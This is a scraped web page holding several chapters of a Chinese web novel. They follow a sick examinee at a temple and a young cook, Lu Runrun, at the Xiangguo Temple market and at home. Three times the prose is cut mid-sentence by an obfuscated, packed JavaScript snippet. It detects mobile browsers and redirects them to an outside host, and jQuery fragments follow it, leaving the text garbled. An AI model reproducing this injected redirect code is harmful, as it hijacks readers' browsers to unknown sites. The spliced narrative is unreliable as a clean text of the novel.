到了清晨,炭盆不再发暖,但芯里扔留有余热,信纸在烧过的灰白炭块上,很快冒出了一绺烟,焦圈渐渐满眼,直至火苗窜起。 李进坐在简陋的竹凳上,发出冷笑。 怪不得。 千里迢迢寄信前来。 却原来,是为了斥责他。 言之凿凿地把兼祧另一房所生的儿子,进妓馆的荒唐事怪到他身上,指责他让友人故意引诱,害得他那位好堂弟发解试落榜。 岂止是可笑呢。 想来是他那位好堂弟不务正业,发解试落榜,又怕家里责骂,知道家里和他关系不睦,他人又不在荆州,这才寻由头推到他身上。该不该夸那位好堂弟有急智呢,事虽不光彩,却当真起了效。 李进脸上笑意更甚,似在嘲弄,一脸病容的他,如此笑起来,却显得更为清俊。 但渐渐地,他脸上的笑容淡去,取而代之的是平静。 虽然他不喜生父一家,但家中来信四个字,他已许久未曾听过,又因在病中,倒是拨动了他的心弦,勾起久藏于心中的思念。 从母亲过世,他就不曾再听过这四个字了。 也再无人对他挂怀。 许是情绪牵动,他开始剧烈咳嗽,胸腔震痛,面无表情地眼角沁出泪渍。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506428|186077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他闭眼,隐去眼里的泪意,也隐去思念与倦怠。 即便同在病中,但他不是那位眉州来的大才子,能得官家垂青,不惜拖延省试。他若是病死了,就只是死了,母亲的委屈无处诉,他的抱负无处施。 活着,以及他胸中的微薄才学,是他仅余的本钱。 李进屈着冻得僵硬发白的手,微微颤抖着,继续翻开书页,凝神继续向下看。 为了不叫冷风吹走屋内仅剩的热气,窗子是关上的,屋里更显昏暗,他不得不将书捧高些,借着透过窗纸打进来的光束看清上头的字。 这样看书并不易,他想,应该要再添置点灯油。 但如今他剩下的钱并不多了,虽然寺内投宿不收房钱,但一日两顿吃食,却是要再收钱的。但比起外头还是很便宜,一日只要八文。 为了赴汴京省试,他很早就开始攒钱,原是宽裕的,奈何突然病重,不得不延请郎中抓药,请人代煎药。银钱上捉襟见肘,只能想尽办法节省,毕竟到了省试的时候,花销多着呢,就连桌椅也要考生自备,他得余下足够的钱才是。 李进思量着,事无巨细的在心中盘算,每一样都不落下。 受生父兼祧的那家人的排挤,李进的母亲心绪郁结,很早就撒手人寰,他不得不早早担起重担,想法子让自己温饱,供自己读书,应付那家人不时的恶心手段。因而养成了他万事早思量早打算的习惯,行事缜密无缺漏。 他虽疲倦,还是将一切打算清楚了。 继续沉下心看书。 不知过了多久,屋外又是敲门声,但这回轻多了,且有规律。 “施主?施主可在屋内?” 看来是送饭的僧人。 李进仍在病重,久坐后没什么力气起来,手不得不用力攥着桌沿,撑着起来。 他走得很慢,打开屋门时,手都在微微颤抖,但却始终挺直着腰背,再虚弱也不曾缺了仪表。他苍白着脸,抿了抿没有血色的唇,向僧人颔首,勉强露出些笑,“劳烦师父了。” 僧人对借住在寺中的举子都十分客气,道了句不敢,随后从挑着的筐子里取出两个素馒头,并舀了一碗稀粥给李进。 李进原先接过装了素馒头的盘,向僧人道谢,而后进屋,却被拦了下来。 “施主稍等,还有呢。今日是十五,许多信众供奉吃食,寺里分了些出来,给借宿的施主们。” 李进看着僧人往盘子里又放了两块点心,看清其形状后,不由得一怔,轻声道:“是松花饼啊。” 10. 难念的经 从前母亲在时,便会做这道点心。 乡野农户,不似汴京人外出数步,到街边巷角四处是摊贩,界身巷珍宝如云,新郑门河鲜俱全,再珍惜的食物也没有汴京里寻不到的。 农家所能吃上的事物,几乎都是就地取材,靠山吃山靠水吃水。 做松花饼要的东西简单,只需要松花粉、蜜,当他生病将愈的时候,母亲便会做松花饼给他吃。 所以在他的记忆里,这是一道很好吃很好吃的点心,也很珍稀,只有生病才能吃上。 故而,方一看见松花饼,李进便是一怔。 他已经很久没有吃过了。 最近一次吃是…… 他记得当时自己家有位邻居以采蜜为生,有一回,母亲织了许久的布,换了一瓮蜜。母亲见他好奇,给他尝了一勺,好甜好甜。 余下的,却是再也舍不得碰,藏在灶房的木橱里,心心念念等着父亲回来。 但荆州兼祧的那一房富庶,新妇花月貌,出入有仆从,用着上好的笔墨,专心读书科举,不再为生计忧心,又如何愿意回头再多瞧一眼乡野之地的家呢? 没有等来父亲,却等来了荆州兼祧那一房的新妇,带着另一个孩童,来到跟前。 很快,母亲渐渐变得消瘦,眼里失去神采,整个人看着如朽木死灰,没有一丝生机。终于有一日,她取出那瓮蜜,亲手做了一回松花饼给他吃。 好吃得很,一如往昔,母亲笑望着他吃,面色释然和缓,眼角眉梢透着慈爱。 他以为母亲要好了,那一日是他那段时日最高兴的时候了。他想,他会争气,努力读书,为母亲争诰命,什么兼祧,什么负心薄幸的爹,都见鬼去吧! 可没有两日,当他在田间耕作播完种子回家时,见到的却是躺在床上安然逝去的母亲。 李进拿着盘子的手猛然攥紧,目光沉沉,他神色不变,向僧人道谢。 进屋后,他坐在桌案前,看着瓷盘里的松花饼很久很久。 久到朝阳升起,身后紧闭的窗子透出一束暖黄光晕,斜打在他脸上、肩上。 最终,他拿起松花饼,低声道:“我该好了。” 厢房内只有他一人,他所言也只有他自己能听到,他却像在告诉什么人一般。 而后,他咬开松花饼,熟悉的松木香味溢满口齿,散开的粉糯感,酸酸的,带点甜,和记忆中的一样。忽然,他怔了怔,低头瞧去。 看似平平无奇的松花饼,内瓤却是甜香甜香的红糖馅,夹杂着炒得喷香的芝麻和榛子碎,看着不显眼,可当嚼了以后,满口都是坚果香气,红糖的甜中和了松花粉的酸与微苦,形成一种奇异的风味。 与记忆中的一样,却又不一样了。 但不得不承认,很好吃。 他望着松花饼里细腻香甜的红糖馅,轻轻笑了。 接着,他继续吃了起来,比往日都要快些,然后便继续捧起书往下读。若是今次考不中进士,下回还是要从发解试考起,纵然周身依旧酸软无力,连起身手脚都不由发颤,他仍是坚持着看下去。 屋外阳光终于攀上屋檐一角,化开薄霜,洒下烫金色的光,树木花草努力冒着新芽,迎接光照,哪怕在山寺最为清幽寒冷的一角,料峭的春寒走得再晚,也终有走的时候。 * 而有的人,始终走在光下。 卢闰闰被逐渐升起的日头晒得眯起眼睛,不得不用手挡在额上,遮去刺目的光。 “早知道不约在此处了。” 卢闰闰叹气。 卢闰闰心累。 她因为要还愿,所以不得不赶早来大相国寺,但大相国寺内的集市最热闹的时候是自巳时起,故而她和魏泱泱约了辰时末在大相国寺第二道门那见面,正好能从第二道第三道门开始逛起。 至于第一道门,那附近卖的都是各种飞禽走兽,魏泱泱的住处拢共就两间屋子要住一大家子,转个身都怕挤,如何养得禽类。至于卢闰闰,地方倒是有,但她娘不让,于是连想想都不成了,平日里只能偷偷去喂些野狸奴。 第二道门第三道门卖的多是些日常杂用,正好能边吃东西边逛。 卢闰闰白皙细腻的肌肤沁出点汗来,打湿了额角的碎发,她想了想,转过身准备劝陈妈妈先走,这一转眼,刚开始还没瞅见陈妈妈,正觉得疑惑时,忽而见到陈妈妈坐在寺门旁边的长条石凳上。 不仅如此,陈妈妈还招手喊她坐过去。 “这儿凉快,晒不着日头。” 卢闰闰满脸疑惑,方才那儿不是坐满了人吗? 但这日头实在晒人,还没盛夏呢,怎么威力就这么大。她坐到陈妈妈边上,陈妈妈掏出手帕就开始帮卢闰闰擦汗,“怎么就站在日头下傻等呢,唉哟,一身的汗,那儿还是风口,一会儿再吹着凉了可怎么好? “那魏二娘子何时能来?不会要在这一直等着吧,我还要去听师父讲经呢。” 陈妈妈说着,双手合十,念了句佛号,虔诚极了,“多听经,能给你婆婆和爹积阴德呢。” 卢闰闰见状就真心劝道:“婆婆,要不你先去听经,我自己在这等,人来人往的,不会出事,泱泱一会儿就到了。” 陈妈妈却不肯,她板着脸像是孩童在闹别扭一样,煞有其事道:“那哪成?人多才叫不好呢,谁晓得哪个好哪个坏。听经又不差这一时半会,要是你遇到了贼人,喊婆婆,婆婆却不在可得多害怕……” 陈妈妈说着,自己就心疼起来,好像这事活灵活现发生在跟前似的。 卢闰闰语塞,无奈道:“我已十七了。” 陈妈妈却没理会卢闰闰的话,自顾自说着,又扯起了她过世的婆婆,早死的爹。 卢闰闰默默扭过头,聪明地闭嘴了。 好在这时候魏泱泱出现在卢闰闰眼前,卢闰闰当即跑过去,牵起魏泱泱的手,再来到陈妈妈跟前,“泱泱来了,我先走了,婆婆你去听经,晚些时候我去那边寻你。” 而后她就牵着魏泱泱跑掉了。 一气呵成,流畅得陈妈妈都没反应过来。 陈妈妈愣在原地,她还有一堆的嘱咐没说,都卡在嗓子眼,不上不下地憋得她难受。 好半晌,她才把话都咽回去。 但又忍不住嘟囔,“小时候就爱缠着我问东问西,离了一步都不行,大了吧,多念叨一句都要跑。” 然而她说着,却又高兴地笑起来,挺着胸脯,语气自豪,“瞧瞧我养得多好呐,跑起来真有精气神儿。” 这么一想,陈妈妈也不纠结了,兴致冲冲地要去占个好位置听经,她可是听说了,坐得越前头,能积的福气就越多,可不能让人抢了去。 * 卢闰闰带着魏泱泱一口气冲出去好远,魏泱泱家住得远,一路走来晒足了日头,一停下来,她就用手给自己扇风,“还未三伏呢,怎么巳时就这般热?” “谁晓得呢。”卢闰闰随口应道。 她远远瞧着陈妈妈已经走了,便带着魏泱泱慢悠悠地闲逛。 两人边走边聊,魏泱泱说台盘司有什么人讨厌,卢闰闰则讲起哪个人厨艺差得很,就是硬菜做得好看。 说说笑笑着,就走到了寺内。 这时候便没那么热了,因为有一些大店前来摆摊,会用红幔布把院子的顶给遮住,挡去大半日光,行人穿梭其中,自然就凉快起来。 魏泱泱站在女尼们摆的摊子前,先是小心地摸着绫罗和绸做的衣裙,怕弄破了,又速速走边上些。接着,她看起了绒花发饰,拿起又放下,又再拿起,显见是喜欢得很,她头上那对石青色绣球绒花发梳已经很显旧了,一点都不鲜亮,也到了该换新的时候。 但她最后还是放下了。 卢闰闰问她不是才发的赏钱吗,为何不买。 魏泱泱克制地收回目光,佯装不在意,“我还要攒着买书呢,茶酒司的姐姐说,若真要将点茶学透彻了,还是得将《茶经》、《茶录》都背下来才是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506429|186077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “闰闰,你是知晓我性子的,我可不愿意一辈子屈就在四司六局。等我学好茶艺,做个点茶师,若是我的点茶技艺能扬名汴京,说不准能像张娘子那般入宫侍奉贵人们。游走于宗室贵胄之间,多风光呐! “再不济,也能在茶坊多挣些钱,横竖我是不会窝在宜男桥小巷那个穷破地儿的。” 魏泱泱说这话时,微扬下巴,眸光坚定,眼中燃着炽烈野心。 她虽然生在宜男桥小巷那个穷地方,但自幼就与人不同,生就有一股傲气劲,她从不觉得自己该属于那里。 卢闰闰是知道她性子的,甚至很清楚她的野心与不甘愿。但卢闰闰不觉得有何不好,想争,想向上,想如春日的笋种那样奋力破土而出,这再正常不过了。 她没说什么,这样的事,就交给魏泱泱自己努力去。她相信魏泱泱肯定行! 故而,卢闰闰只是笑着松和气氛,“过几日不就要离开宜男桥小巷了吗?到时,也算乔迁之喜,我打算备份礼。 “你同我说说,有何日夜惦记,万分想要的么?” 魏泱泱毋需思索,直接答道:“有啊,荣华富贵!我想要能日日着锦衣,饰珍珠玉石,过呼奴唤婢的日子。” 卢闰闰白了她一眼,摇着头,啧啧道:“好贪心的小娘子。” 她摊手,“那我可做不到,到时只能随意买些糕点了。” “成,当然成,我姑母那般喜欢你,你便是拎些从路边捡来石子来拜访,她怕是也欢喜呢。”魏泱泱不无酸气地说。 魏泱泱还是觉得想不通,忍不住端着下巴盯卢闰闰,“你说,为何每每提起你,我姑母都赞不绝口?” 卢闰闰笑了两声,仰头抬脸,不无骄傲道:“因着我聪慧貌美,为人大方,能说会道,长袖善舞,行事周到,宽厚善良,温良恭俭让样样俱全……” “我看就能说会道这一样对上了。”魏泱泱无情打断。 卢闰闰长叹一声,故作愁容,“那坏了,我果然愈发像婆婆了。” 魏泱泱与卢闰闰是好友,她是见识过陈妈妈有多絮叨的,闻言,冷不丁打了个颤。她长指一掀,点了点卢闰闰的鼻尖,“可别!” “不过……”她话锋一转,眼里生了些羡慕,“有陈妈妈这样一心为着你的人,你就偷着乐吧。哪像我,兄长要成婚,我爹娘竟要我与弟弟,我们四人同挤一屋,枉我每月的工钱都给他们一半,到头来连多租个屋子也是不愿的,我那些钱怕不是喂到狗肚子里了。 “幸而姑母开口收留。” 卢闰闰拍了拍魏泱泱的肩,以示安慰,她早就提醒魏泱泱不要把到手的工钱拿给家里那么多,攒下来还能给自己留个后路,但当时魏泱泱又怎么会听呢。 她只好再提醒一遍,认认真真地叮嘱道:“往后,你的工钱还是自己全留着吧。再不济,攒够了钱,还能来租我家的屋子呢,到时候我日日给你做好吃的!再叫陈妈妈也絮叨絮叨你,看你还羡不羡慕。” 魏泱泱被卢闰闰的后一句话给逗笑了,笑完以后,她正色道:“你放心,我可不会再把工钱给他们了,往后,我就是姑母的女儿,便是要给,也给姑母。” 卢闰闰有些无奈,怎么就是打算着把工钱给出去呢,但不好再多说什么。而且魏泱泱的姑母终身未嫁,对她疼爱有加,真给她姑母,总好过填宜男桥小巷那无底洞。 魏泱泱因此事和家里闹得不欢,不想多提,于是转而问卢闰闰,“你那继爹呢?如何了?可见过他了?我替你打听过了,人嘛倒是没听说有何不好的,听闻他为了科举,足足考了二三十年,前两年才考上诸科,还是后几名,为了供自己读书,连宅子都卖了,如今还在租宅子住。” 听着倒是没有特别大的错处。 卢闰闰沉默片刻,她脸上也敛了笑容,变得认真起来,整个人瞧着便有点与平日不同的沉稳聪慧,眸光也锐利了,“我还未见过他,但我觉得,应是快要见着了。” 她目光悠远,似乎有所意料。 11. 弟弟(修) 魏泱泱见不得她忽然正经起来的模样,于是眯着眼睛,质疑地问道:“你何时还学了术数。” “我有那能耐,就不做厨娘了,我就去摆摊算命,说不准算出名气了,有人千金求我一卦呢,哪要受进灶房烟熏火燎的苦啊。 “这是直觉!”卢闰闰真想仰天长叹,但容易被当成疯子,她就只好在脑子里想想了。但不得不说,她总觉得许多现代词更能达意,奈何不能说。 一点点失落涌上心头,卢闰闰低下头,耸眉耷拉眼,如蔫了的植苗。 魏泱泱懒得理她,施施然往前走了。 这小娘子别看在外人模人样装得像回事,实际上性子活泛得不行,动不动就演一出,有时候长吁短叹,有时候伤春悲秋,有时候像安南国来的马骝。 魏泱泱最注重颜面,才不会陪着卢闰闰在集市上瞎玩呢。 见她远去的身影,卢闰闰摇摇头,站在原地黯然神伤,但装伤心装不过三息,她就破功了,忍不住被边上一个卖猫饭的摊子吸引了。 于是,她蹲下仔细挑选。 过了不知晓多久,魏泱泱又走了回来,但她手上多了几个酥儿印,那酥儿印约莫筷子头粗,长两分,还用梳齿印了图案,不显单调,炸得还更加酥脆。 魏泱泱手上那几根酥儿印刚从油锅里炸出来,热得上头残留的油都还在冒泡,把刚撒上去的糖粉给烫融了一些。 尽管摊主人在酥儿印底下裹了点油纸,但刚出锅的烫哪是薄薄一层纸抵得住的,害得魏泱泱不得不来回换手,给手指吹气。 她人还没站住呢,就拿了一根酥儿印戳到卢闰闰嘴里。 卢闰闰还没反应过来,就一脸懵地嚼起来。 嗯,酥酥脆脆的,有点硬,入口先是外面裹的糖粉的甜,等把它嚼碎,面粉的甜味就出来了,带着一点分明的碎粒感徘徊在舌的两侧摩挲。 而酥儿印最好吃的一点,就在于掺了绿豆粉,回味的时候多了股绿豆独特的清香,滋味颇像是绿豆汤分离出来的最上层的甘香。 “我想你爱吃李老翁家的酥儿印,可多人呢,我硬是挤着买到,你瞧,我新洗的鞋面都脏了。 “这酥儿印也真是烫,我这指头被烫得红了!”魏泱泱一边说,一边又是拉起裙裳露出鞋面,一边又是把指头递到卢闰闰面前给她瞧。 魏泱泱嘴里囔囔着,这话好像单纯是在抱怨,但她一贯好强的,能这样便已经是在示弱了。 卢闰闰了解她,一瞧就知道她这是在哄自己,有意和好呢。 魏泱泱素来就是这么个别扭性子,若要她真的低头弯腰说要哄卢闰闰,怕不比杀了她好受。 而卢闰闰恰好是个在小事上不在乎的人,她可不仅是大方圆滑,性子也是真的豁达,从来不爱把事情藏在心里。 于是,她不仅把嘴里的嚼嚼嚼,越嚼越短,还把魏泱泱手里的又挑了根送进嘴里。 “李老翁家的酥儿印还是一如既往的好吃。”卢闰闰边吃边感叹道。 魏泱泱见状,便明白卢闰闰这是没把事情放在心上,她微不可察地松了口气,旋即又恢复成先前不爱笑的高傲模样。 她开始恢复平常的模样,随意闲聊着询问道:“既好吃,何不自己做,酥儿印不是容易得很么?” 卢闰闰面色骤然慎重起来,摇着头,“不,我试过了,不论那绿豆粉如何调,都不能做到如李老翁家那样的清香。 “不过嘛,说起来我家里还剩好些绿豆粉,你还记得四司六局里有个南边来的帮厨吧?我不是和她混熟了吗? “她近来便传了我一道菜的做法,叫粉煎骨头,正好要用上绿豆粉,不如你今儿跟我回去,我做了给你尝尝,也帮品鉴品鉴,能不能合汴京人的口味。 “横竖你也不爱见你兄长,晚些回去还能少相处呢。” “成啊!”魏泱泱欣然应允。 旋即,她又似想到了什么,还是意兴阑珊地摇了摇头,“还是罢了,明日要送许口酒到女家,今儿忙得很,我这些时日不着家,他们本就有微词,过几日就能搬去姑母家,我不想在这关头出岔子。 “虽说如今是相看两相厌,面子上的事,还是不能闹得太难看。” “也是。”卢闰闰倒是能理解,“无妨,我家总归是在那的,怎么也跑不掉,等你搬到你姑母那之后,我们再小聚。” 卢闰闰把另一边手拿着的荷叶包举给魏泱泱看,“瞧,我买了什么?” “猫饭?”魏泱泱眼尖,一下就认出来了。 但说来汴京人多爱狸奴,她素日里常见猫饭,想不认出也难。 卢闰闰笑眯眯点头,“陪我喂狸奴去!” 大相国寺有许多狸奴,用宋朝的叫法,有衔蝉、有黄狸、有四时好等等,各色狸奴。 卢闰闰爱猫,每回来大相国寺都喂,和寺里的许多小狸奴都熟了,但若非说有无偏爱的,那还是有一只的。是只狸花和黑白猫生下的,它有狸花的虎斑纹尾巴,雪白的身躯,额头和背上则有两块黑团,在寺里的狸奴中很是显眼。 卢闰闰头一次见它,它还是只一个多月的小奶猫,只有巴掌大,走路都颤颤巍巍的,还硬是滚着身子掉出了猫妈妈叼来的杂物做成的小窝,掉进了寺里排水渠的夹缝。 当时下着雨,小猫都快被水冲走了,是卢闰闰来寺里还愿,听见了它的叫声,把它给救了。 从此以后,卢闰闰就格外记得这只小猫。 而且它额上那团黑色毛发形状像蝴蝶一样,可好认了,因为常常投喂它,卢闰闰还给它取了个名字,叫做五香糕。因为遇见它的那一日,卢闰闰去寺里还愿,做的点心就是五香糕。 五香糕如今七八个月了,长得格外壮实,肚子圆滚滚,下巴似有双层。 它继承了黑白色狸奴的跳脱,还兼具狸花的凶悍本领。 当卢闰闰蹲在地上喂一群狸奴的时候,五香糕闻声而来,它从灯柱一跃而下,身姿矫健,惊起一众狸奴,它们都不懂怎么能有狸奴能这么闹腾。 安安顿顿吃猫饭不行吗? 五香糕偏不,它不但要“惊艳”出场,还兴高采烈地围着卢闰闰转圈,一会儿蹦跶得老高,甚至扑到了她背上,又跳下来,起起伏伏,不知道在玩什么。 好在别的狸奴都已经习惯,也就是散了散,很快又聚成一堆,围着猫饭吃。 而魏泱泱早在五香糕出现的时候,就离了有三丈远。 她本就不喜欢外面的狸奴,生怕被抓,也怕有虱子,平日里遇见了也都是刻意避开,但因为卢闰闰喜欢,为了陪着卢闰闰,她才会蹙着眉勉强站边上,一看有狸奴靠近,就往后站两步,捂着鼻子,身子后仰,颇为排斥。 见卢闰闰被五香糕攀着肩,非但不怕,还熟稔地揪住五香糕的脖子,把它抱到地上,耐心地摸着它,给它单独喂掺了鱼肉的猫饭,魏泱泱皱眉,颇为看不惯,“你喂就喂了,还摸它做什么,我看它野性难驯,仔细不要划伤了自己。” 卢闰闰爱猫,她在现代也经常喂小野猫,还经常把它们骗进笼子里,拉去绝育,因而养成了一套摸猫的好手法,以及敏捷的身手。 在她的抚摸下,跳脱的五香糕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506430|186077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真舒服得直咕噜叫,比寺里的铜钟还响,一会儿低头吃两口猫饭,一会儿眯着眼睛享受着嚼嚼嚼。 再野的狸奴,也逃不过卢闰闰耐心地抚摸。 “不会啊,它很乖啊,五香糕只是性子活泼了些。”卢闰闰望着五香糕笑眯眯说道,她眉眼舒展,显然是真心话。 魏泱泱撇嘴摇头,狸奴脑袋真是没救了,但她已经习惯了。 而且卢闰闰这人,也许真有点说法,好似和谁都能处好,就是路边的犬见了卢闰闰也不会吠,净摇尾巴了。卢闰闰也会热情地挥手,或者发出嘬嘬嘬的声音逗一逗。 她这样不爱理人的,不也成了卢闰闰的好友吗? 魏泱泱无聊就自己瞎想,没催促卢闰闰。且她再嫌弃,站得再远,依然是陪着卢闰闰。 喂完了狸奴,两人同行了段路,卢闰闰寻到了手里拿着两幅佛像图的陈妈妈后,就各回各家了。 卢闰闰家里已经供了佛像图,她问陈妈妈再买这两张做什么。 陈妈妈说,这是寺里不用钱发的。 卢闰闰又问陈妈妈,那寺里怎么一模一样的画像还分了两个。陈妈妈理直气壮的答,说是她凭自己本事排了两回领的。 卢闰闰无奈,又知道陈妈妈不会听自己的,她只好摊手道:“您高兴就好。” 折腾了一上午,卢闰闰还是精神奕奕,坐在那总是坐不住,一会儿手撑在脸侧,一会儿仰头数帘子上有几条流苏。 直到陈妈妈问她午食要用什么,卢闰闰才想起来自己似乎约了文娘子今儿要学琵琶的。 但这事一直都背着陈妈妈干的。 可不能直说! 小轿是人抬的过桥时多少有些晃悠。于是,她趁着小轿颠簸的时候,整个人顺势趴在陈妈妈身上,头靠着陈妈妈的肩,假装累得一塌糊涂,“哎哟喂,这两日忙得我可真是腰酸背痛,回去了,我要好好睡一场!婆婆,你别喊我起来吃午食,旁人一日不也都是两顿,少吃一顿我饿不着的。” 陈妈妈没发觉不对,她听了不大高兴,面不甘情不愿的说道:“那能一样吗,你翁翁的翁翁,还有你婆婆的翁翁,那都是做过官的,两家人几代下来都是一日食三顿,可和其他人不一样……” 这些话,卢闰闰都快听出茧子了。 她可没觉得自己哪不一样,这汴京随意砸个人,要么祖上做官,要么族人做官,要么自己做官。 但她不和陈妈妈争辩这个,陈妈妈年纪大了,心里就认着这个死理,争着这口气,无谓口舌。 现下要紧的是蒙混过去,下午去文娘子那学琵琶才是! 因而,她直接使出杀手锏,扯着陈妈妈的手撒娇,一副累极了的模样,泫然欲泣道:“可是我起不来,婆婆莫不是不疼我了?都不肯应允我了。” 果然,这招立竿见影,陈妈妈败下阵来,什么话都忘了说,就温柔地拍着卢闰闰的肩,眼里都是心疼,又是乖乖又是心肝地喊着,什么都应了。 等小轿停下来的时候,陈妈妈兴许是想重温卢闰闰的儿时时光,甚至想把卢闰闰背下来,可把卢闰闰吓得半死,直接从轿子上跳下去,一下走出了好远。 陈妈妈在给脚夫结轿钱,卢闰闰则敲门。 开门的是唤儿,但唤儿身后冒出了个打扮得光鲜亮丽的人儿,还没窥见全貌呢,她的笑声就直往陆润如脑袋里钻,热情招呼,“是大娘回来了吧?出落得愈发好了,和你娘年轻时可真像啊,一样的美人坯子。 “来,你瞧瞧,这是你弟弟,头回见着他吧,你做姊姊的,往后可要多照顾他。” 12. 房契 啊? 卢闰闰面带疑惑,完全摸不着头脑,她哪来的弟弟? 直到二舅母把一个粉雕玉琢的小男童推出来,她才想起来,隐约有印象,二舅父二舅母前些时候似乎张罗着要过继个儿子。 看二舅母对这小男童如获至宝的态度,只消看一眼都是喜笑颜开,恨不得叫所有人都见见他的模样,卢闰闰心中就有些数了。 六七岁的孩童,过继瞧着是大了一点,但费心多养养,对从前的爹娘也就记得不那么深了。 难得的是四肢健全不说,眉眼瞧着还挺伶俐,加上过继最好还得是沾亲带故,二舅父二舅母不算是大富大贵的人家,恐怕费了许多心力才寻到的。 外翁一家里,卢闰闰更喜欢大舅父一家,但对二舅父一家也说不上讨厌。 何况上门是客。 故而,她笑了笑,“二舅母说笑了,弟弟有你这么好的娘,有二舅父这样好的爹,如何还要我一个外人多照顾。他已是有泼天的福气了呢。” 卢闰闰虽然婉拒了,但是她夸却又夸到了谭二舅母的心坎上,听得谭二舅母那真是心花怒放,眼角眉梢掩不住的高兴。 “哪里呀,我和你二舅父成婚十几年才得了这么个孩子,是天爷赏给我们夫妻二人的福气才是。来来来,你快些进来,听闻你去寺里送供奉的点心了?定是累了,你外翁外婆可都在里头等你呢。” 谭二舅母为人小气,斤斤计较,稍有不如意就爱甩脸色。 卢家出事的时候,她不同意借钱给谭贤娘,私下里没少抱怨。 但她偏偏人也不算太坏,不借钱归不借钱,也并没有落井下石,卢家爹爹过世的时候,葬礼人家也过来帮忙操持了。对卢家族人,她更是从来没有好脸色,遇着四邻街坊都是说对方不好的话。 二舅父二舅母一家,和卢闰闰家小矛盾有,深仇大恨谈不上,总之就是这么逢年过节送礼来往着。 谭二舅母手放在小男童的肩上,半抱着他走。 她许是自己高兴得很,也没给卢闰闰说话的机会,掩着唇娇笑,“我和你二舅父得了你弟弟可真不容易,你外翁也很欢喜呢,特意请了金水巷的李相师给他算命,你知道李相师说什么?” “说什么?”卢闰闰很捧场。 谭二舅母已经同人说了许多遍,再提起来还是笑得合不拢嘴,“他有去琼林宴的命!你说说,咱家里再出个进士,岂不光耀门楣?也叫我穿上诰命的衣裳,人唤我一声郡太夫人,甚至国太夫人……” 她说着,笑声愈发大了,简直是容光焕发,好似荣华富贵的美梦就在跟前。 卢闰闰配合地干笑两声。 倒是付完轿钱的陈妈妈跟上来,恰好听见谭二舅母说的这么一番话。老人家发上添了银丝,脸上沟壑横生,但因是汴京土生土长,所见所闻比偏僻州郡的富翁家女眷多得多,见识深着呢,跟着的主家待她也很好,与人交际从来是挺胸抬头,从来不输底气的,一个不顺眼,还常常讥讽邻里。 陈妈妈捂着嘴呵笑了一声,耳垂下的银耳珰直晃悠,“亲家娘子可真是说笑了,您若要封郡太夫人,哥儿哪能只中进士,怎么也得是个枢密使节度使什么的封疆大吏才成。” 谭二舅母正高兴呢,被这么一顶,好似自己见识还比不上一个仆人,顿觉失了面子,她哼了一声,“我能不知道吗?” 气氛一时有些僵。 而躲在谭二舅母怀里的小男童,已经是第三回对着卢闰闰做鬼脸了。 卢闰闰前两回都视若无睹,哪成想在这样气氛下他还不消停。 于是,卢闰闰这回总算如小男童期盼地那样盯着他,却没有露出厌烦或是忍耐的表情,她笑容满面,极尽温厚和蔼,看起来就像个善良得无底线的人,在小男童疑惑的时候,她蹲下身,与他平视。 就在小男童准备再做个鬼脸的时候,他的嘴还没咧开呢,就被卢闰闰掐着脸硬是扯变形了。 不仅如此,卢闰闰很快另一边手也上阵揉起了他的脸。 而她脸上的笑愈发温煦友善,笑眯眯对着谭二舅母道:“舅母您把哥儿养得真好,他脸可真圆呢,我揉着,他颧骨也丰满,按面相来说,真真是好命。 “还不知道他叫什么呢?外翁可请李相师一道算了?” 卢闰闰三言两语就让谭二舅母重新高兴起来,都顾不上多看小男童一眼,只顾着自己兴高采烈地说话。 她难以自制地咧嘴笑,手激动地拍着,“算了!算了!说他命里缺木,合了五行八卦给他算出一个相字,再加上这一辈的字辈,就叫谭闻相。” 这名字…… 闻相闻相,还真有点要当宰相的意思。 这位李相师,旁的不说,取名字还真是吉利。 卢闰闰心里琢磨着,有些想改日带魏泱泱一块去看个热闹,但面上完全不显,就一味地夸谭闻相的名字好。 她甚至还弯下腰来拍了拍谭闻相的肩,一脸和善地夸他。谭闻相则防备的双手捂着脸颊,又气又恨地瞪了卢闰闰一眼,很快就缩回谭二舅母的怀里,生怕再被教训。 卢闰闰完全不介怀,她甚至笑得更开心了,“瞧瞧,我们相哥儿,眼睛多有神呐,一看就不一般。” 谭二舅母被哄得都要不知南北了,最爱逢人炫耀的她,都有些不好意思了,摆着手说:“哪里哪里,他还小呢,哪能看出这些来。” 但她的嘴角就没下来过,也忘了陈妈妈那一茬,抓着卢闰闰的手就道:“闰闰啊,过几日你到舅母那的时候,我给你做糟猪蹄爪!” 糟猪蹄爪? 卢闰闰的嘴角的笑容微不可察地滞了滞。 